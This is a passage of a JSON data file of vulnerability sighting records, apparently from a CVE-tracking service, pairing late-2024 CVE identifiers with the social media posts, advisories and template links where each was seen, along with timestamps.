"vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55413", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf6crd2fm325", "content": "", "creation_timestamp": "2025-01-07T18:47:51.209076Z"}, {"uuid": "7cf51236-0e86-4e7d-b5b7-1a111ade6128", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55410", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf6crdwivq2u", "content": "", "creation_timestamp": "2025-01-07T18:47:55.142391Z"}, {"uuid": "4ff0fd33-641c-40a5-9cd8-aea23cc8af81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55972", "type": "seen", "source": "https://bsky.app/profile/gothburz.bsky.social/post/3lf62bczf3q2n", "content": "", "creation_timestamp": "2025-01-07T16:15:44.412500Z"}, {"uuid": "5467663d-d322-401b-aff6-cb5b302eb165", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55412", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf6creabg52i", "content": "", "creation_timestamp": "2025-01-07T18:47:56.838602Z"}, {"uuid": "a713b84c-c589-4545-a819-8cc5b771ecbd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55517", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfamb3wpyy2r", "content": "", "creation_timestamp": "2025-01-08T16:43:03.655050Z"}, {"uuid": "dd0b6722-f3ec-481f-8f42-344c7615599c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55414", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf6crdhsk62e", "content": "", "creation_timestamp": "2025-01-07T18:47:52.794770Z"}, {"uuid": "71045f36-24aa-4c92-8b19-1168465d33cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55411", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf6crdl22z2g", "content": "", "creation_timestamp": "2025-01-07T18:47:53.356108Z"}, {"uuid": "b419986c-e1af-4f54-af04-4866c30654f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55577", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfr4huuikv2p", "content": "", "creation_timestamp": "2025-01-15T06:15:47.043771Z"}, {"uuid": "41415c27-2d2b-4ecf-9b99-d40bd6244d2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/opsmatters.bsky.social/post/3lfsfrjdzjh24", "content": "", "creation_timestamp": "2025-01-15T18:34:53.808020Z"}, {"uuid": "bdf685eb-7de3-473e-8b64-c4611cb52a1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/catc0n.bsky.social/post/3lfut6n3yfk2l", "content": "", "creation_timestamp": "2025-01-16T17:40:13.104974Z"}, {"uuid": "e1b45609-b468-4b1f-b282-640efe98a825", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55550", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/3049069", "content": "", "creation_timestamp": "2025-01-07T18:52:09.433337Z"}, {"uuid": "c8d05b08-5132-4dbe-8205-1e4307783e79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55656", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfamb5442v2h", "content": "", "creation_timestamp": "2025-01-08T16:43:07.167704Z"}, {"uuid": "a8aa8c17-ead9-4229-9fc8-5862e920db86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://cyberplace.social/users/GossiTheDog/statuses/113828060350738157", "content": "", "creation_timestamp": "2025-01-14T18:12:54.883200Z"}, {"uuid": "458dc30f-54c5-4f3c-a56a-e07986e17c82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55577", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfr5z5n34m2w", "content": "", "creation_timestamp": "2025-01-15T06:43:20.054911Z"}, {"uuid": "0fd12979-2bee-4513-8505-43ce027f33d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55075", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113783287128672013", "content": "", "creation_timestamp": "2025-01-06T20:26:17.637386Z"}, {"uuid": "5900f8b3-e679-4497-80d7-4521a5078bad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55550", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/3049070", "content": "", "creation_timestamp": "2025-01-07T18:52:10.947325Z"}, {"uuid": "06152aaf-a2ed-4e47-9c18-a73518f81b53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/GossiTheDog.cyberplace.social.ap.brid.gy/post/3lfpu35bdxth2", "content": "", "creation_timestamp": "2025-01-14T18:13:02.743662Z"}, {"uuid": "80154ef4-aa47-48cc-a5b4-1ab05d5b6975", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55656", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-25-009/", "content": "", "creation_timestamp": "2025-01-09T05:00:00.000000Z"}, {"uuid": "00428de2-3457-4b53-ad8c-c6bf3e119d9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5594", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lfje3urz4s2t", "content": "", "creation_timestamp": "2025-01-12T04:10:56.617869Z"}, {"uuid": "7d6571e7-a228-4ea1-b179-3ee8e191c550", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55553", "type": "seen", "source": "https://bsky.app/profile/q.glauca.space.ap.brid.gy/post/3lfpu7d5qqvh2", "content": "", "creation_timestamp": "2025-01-14T18:15:27.530575Z"}, {"uuid": "12eca186-87f3-41bb-9ba2-bffe34333fb7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55076", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113783338674267105", "content": "", "creation_timestamp": "2025-01-06T20:39:24.360031Z"}, {"uuid": "3f4318c8-d7c7-48f3-9d79-3437a17c0406", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55550", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3lf6dopw32w2w", "content": "", "creation_timestamp": "2025-01-07T19:04:18.016436Z"}, {"uuid": "b2c3dcad-92aa-4e8e-a72b-ec0ab3d36845", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55008", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf62cp2eto22", "content": "", "creation_timestamp": "2025-01-07T16:16:30.350409Z"}, {"uuid": "0b7e6ed8-63b6-4045-8308-ea9115c36f46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/it-connect.bsky.social/post/3lfr6xq3dty2c", "content": "", "creation_timestamp": "2025-01-15T07:00:26.670821Z"}, {"uuid": "862cf340-35af-4179-917c-3de15e1e3f48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55954", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113839713874243661", "content": "", "creation_timestamp": "2025-01-16T19:36:21.481123Z"}, {"uuid": "8ff2207d-ffce-4e04-a012-d4c3e4bbfb7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55074", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf3yykdznc2b", "content": "", "creation_timestamp": "2025-01-06T20:47:37.112300Z"}, {"uuid": "e18f8b22-4d57-4655-b063-70bd21299ad1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55457", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2024/CVE-2024-55457.yaml", "content": "", "creation_timestamp": "2025-01-06T13:20:48.000000Z"}, {"uuid": "fa6d3a22-b12b-4658-a83b-47e4380e8e6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55656", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfamb5wv7x2g", "content": "", "creation_timestamp": "2025-01-08T16:43:10.560098Z"}, {"uuid": "067b68e6-14c0-45fc-b643-1a2f055d5e8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55000", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfpkexkajk2s", "content": "", "creation_timestamp": "2025-01-14T15:19:21.876189Z"}, {"uuid": "629d8af3-eee0-4fde-87b6-6186974541f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55529", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113783376202451366", "content": "", "creation_timestamp": "2025-01-06T20:48:57.255049Z"}, {"uuid": "00e4a406-67b5-4508-9e54-b45228d673ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55075", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf42kdbfdu2l", "content": "", "creation_timestamp": "2025-01-06T21:15:27.148814Z"}, {"uuid": "d6d86103-7de8-44af-9434-3f8c5f874142", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55556", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf62crdegm2i", "content": "", "creation_timestamp": "2025-01-07T16:16:32.702628Z"}, {"uuid": "b3657ce6-6b76-4a53-a482-880ebcd315da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55076", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf42kftlgm2e", "content": "", "creation_timestamp": "2025-01-06T21:15:30.269590Z"}, {"uuid": "847560c1-ae5e-4028-bb84-f33b985f2dc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5594", "type": "seen", "source": "https://bsky.app/profile/omo.bsky.social/post/3lfstwikgkk2w", "content": "", "creation_timestamp": "2025-01-15T22:48:15.549673Z"}, {"uuid": "ab801804-cee1-4ab3-bca2-2aa7cc40226f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55557", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113788740826569513", "content": "", "creation_timestamp": "2025-01-07T19:33:14.482564Z"}, {"uuid": "c5f01ca6-7b61-4b2d-a202-64863e66ac57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55656", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113793757709166629", "content": "", "creation_timestamp": "2025-01-08T16:49:06.586042Z"}, {"uuid": "d7354abf-9547-4e17-b91a-0de32c5bf66f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/tmjintel.bsky.social/post/3lfrqnt7zbq2j", "content": "", "creation_timestamp": "2025-01-15T12:17:01.323733Z"}, {"uuid": "4ee03648-606a-4866-8888-c621ce01dc06", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55414", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113793757622650436", "content": "", "creation_timestamp": "2025-01-08T16:49:06.931957Z"}, {"uuid": "ea176e4c-3798-47a2-97e9-a70f0ed84650", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/socprime.com/post/3lfughkqn3s2t", "content": "", "creation_timestamp": "2025-01-16T13:52:35.608616Z"}, {"uuid": "81c7e1c4-960a-45a2-b2db-a99f3045bb4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55550", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3lfjzivl2yk2n", "content": "", "creation_timestamp": "2025-01-12T10:34:02.047758Z"}, {"uuid": "6edefe7c-977a-4ab2-838f-018e00fbf763", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55076", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113783609699744377", "content": "", "creation_timestamp": "2025-01-06T21:48:28.176883Z"}, {"uuid": "7644b15d-384a-4fe5-84db-191b4e76099c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55218", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2024/CVE-2024-55218.yaml", "content": "", "creation_timestamp": "2025-01-07T22:09:10.000000Z"}, {"uuid": "9ef0959f-197b-408f-8059-5214ba54e453", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55074", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113783609618371393", "content": "", "creation_timestamp": "2025-01-06T21:48:28.321047Z"}, {"uuid": "4dc76e9c-7ed4-4e13-9712-e103ba582beb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-55218", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113788836453836260", "content": "", "creation_timestamp": "2025-01-07T19:57:33.749416Z"}, {"uuid": "ce85e3e5-ece3-4c76-adc0-8acd4a0f9ca3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55459", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfao3co7cw2k", "content": "", "creation_timestamp": "2025-01-08T17:15:36.934773Z"}, {"uuid": "1d6d0717-6891-4c2b-92b0-8a16fee843af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55076", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf44mvb6st2r", "content": "", "creation_timestamp": "2025-01-06T21:52:40.775251Z"}, {"uuid": "54845252-10f1-403f-8af4-709abc0f6361", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55075", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf44mvkj262y", "content": "", "creation_timestamp": "2025-01-06T21:52:41.671998Z"}, {"uuid": "fe7347eb-0eb2-4d83-a93a-98202f5e4fe3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3lfshyrilsk2n", "content": "", "creation_timestamp": "2025-01-15T19:14:45.661577Z"}, {"uuid": "b644f655-dd65-4f61-9a4b-febd5a722968", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55076", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf44mvo32t2k", "content": "", "creation_timestamp": "2025-01-06T21:52:42.324858Z"}, {"uuid": "6cb5c362-a10d-4fc9-9559-f499e1df0c61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/catc0n.bsky.social/post/3lfutoo46r22l", "content": "", "creation_timestamp": "2025-01-16T17:49:11.293334Z"}, {"uuid": "26337f0e-7a31-444e-acd4-353bd61372fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55991", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113747548802346217", "content": "", "creation_timestamp": "2024-12-31T12:57:34.055445Z"}, {"uuid": "e2190ab2-691a-47ff-9a7b-2f40d4236dcb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55995", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113747773259504643", "content": "", "creation_timestamp": "2024-12-31T13:54:39.130954Z"}, {"uuid": "615d95bd-bfe1-4293-bc89-b1f180698b52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55995", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lemacn2neq25", "content": "", "creation_timestamp": "2024-12-31T14:15:55.656334Z"}, {"uuid": "205960cd-ad78-425a-addf-23f93e0a417b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55968", "type": "seen", "source": "https://gist.github.com/nscan9/a31982c90ab40a8e00373bf15efbf52a", "content": "", "creation_timestamp": "2025-01-09T19:23:03.000000Z"}, {"uuid": "8e197edd-ca8a-49bb-855c-d61068d5eca8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://www.fortiguard.com/psirt/FG-IR-24-535", "content": "", "creation_timestamp": "2025-01-15T07:34:44.065197Z"}, {"uuid": "d991db8f-c46f-46f9-9dab-84ee6004e64b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/christopherkunz.bsky.social/post/3lfrbxwpyy22j", "content": "", "creation_timestamp": "2025-01-15T07:54:20.982581Z"}, {"uuid": "4e154fcd-073e-4c56-b248-d96aed340385", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55917", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/113748484629722836", "content": "", "creation_timestamp": "2024-12-31T16:55:33.544229Z"}, {"uuid": "eeab952a-0226-4b3e-83d4-3c8d59c091a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55632", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/113748537865125771", "content": "", "creation_timestamp": "2024-12-31T17:09:06.734559Z"}, {"uuid": "789884e6-2ab3-4e0a-938d-629ca7e223f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55631", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lemkdn5nvs2c", "content": "", "creation_timestamp": "2024-12-31T17:15:28.091571Z"}, {"uuid": "d77de7fe-0ee8-4d5d-982e-0a3d171f12d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55632", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lemkdprvtc25", "content": "", "creation_timestamp": "2024-12-31T17:15:30.654984Z"}, {"uuid": "dcf12ed0-c0b6-4512-a637-0cc86e883aab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55917", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lemkdsexas2l", "content": "", "creation_timestamp": "2024-12-31T17:15:34.345815Z"}, {"uuid": "83737e11-0685-4888-b34f-9a8b1d5f30d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55955", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lemkdv45om2k", "content": "", "creation_timestamp": "2024-12-31T17:15:37.397129Z"}, {"uuid": "776990e6-6945-4b88-a7aa-45a106f3c187", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55459", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfapmjaoiq2h", "content": "", "creation_timestamp": "2025-01-08T17:43:08.309827Z"}, {"uuid": "a6ca872d-6b88-4ddb-a346-a984473fb279", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55550", "type": "seen", "source": "https://bsky.app/profile/aakl.bsky.social/post/3lf62hz3zbl2f", "content": "", "creation_timestamp": "2025-01-07T16:19:30.635746Z"}, {"uuid": "bcc5eea7-c874-4580-b8b6-2df46f524b13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55503", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfsvht5kz62r", "content": "", "creation_timestamp": "2025-01-15T23:15:48.257375Z"}, {"uuid": "c348f93c-33a8-4182-907d-9b6f17a7536f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lfrt5n2e6s27", "content": "", "creation_timestamp": "2025-01-15T13:01:48.114985Z"}, {"uuid": "c0f468fa-aa58-44d8-a063-f7c9874aa70f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-5594", "type": "seen", "source": "https://bsky.app/profile/kyosuke-tanaka.bsky.social/post/3lfc3jdphts2j", "content": "", "creation_timestamp": "2025-01-09T06:48:46.445722Z"}, {"uuid": "e4dcf7f4-7933-4bb9-bcea-66969ff8b348", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://infosec.exchange/users/jbhall56/statuses/113832503130624371", "content": "", "creation_timestamp": "2025-01-15T13:02:34.088599Z"}, {"uuid": "dbdcfa50-02b7-48ad-ad11-7a3e9b8fb180", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55550", "type": "seen", "source": "https://bsky.app/profile/gothburz.bsky.social/post/3lf6gw46t272s", "content": "", "creation_timestamp": "2025-01-07T20:02:06.877443Z"}, {"uuid": "fa6112e3-bd89-47ef-9d12-82881ed706e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55642", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfhs5pnqhe27", "content": "", "creation_timestamp": "2025-01-11T13:17:11.129231Z"}, {"uuid": "d0febd2c-e08b-45de-aecf-8636292ff262", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/jbhall56.bsky.social/post/3lfrt7j3hrk26", "content": "", "creation_timestamp": "2025-01-15T13:02:42.865457Z"}, {"uuid": "c962b8d5-6b03-48b7-9069-4c8108f26a2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/mariusavram.bsky.social/post/3lfpli7sefc2r", "content": "", "creation_timestamp": "2025-01-14T15:39:05.761208Z"}, {"uuid": "892010fb-e2e2-4d69-8b3f-27ce73661d79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "8ef3179e-6ae2-42ba-9d27-75d713d75f20", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/alerte/CERTFR-2025-ALE-002/", "content": "", "creation_timestamp": "2025-01-15T08:11:14.465377Z"}, {"uuid": "e5695f80-9398-4ce6-90c7-957e933648e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/overclockotter.bsky.social/post/3lfrtlf54ms2s", "content": "", "creation_timestamp": "2025-01-15T13:09:21.249856Z"}, 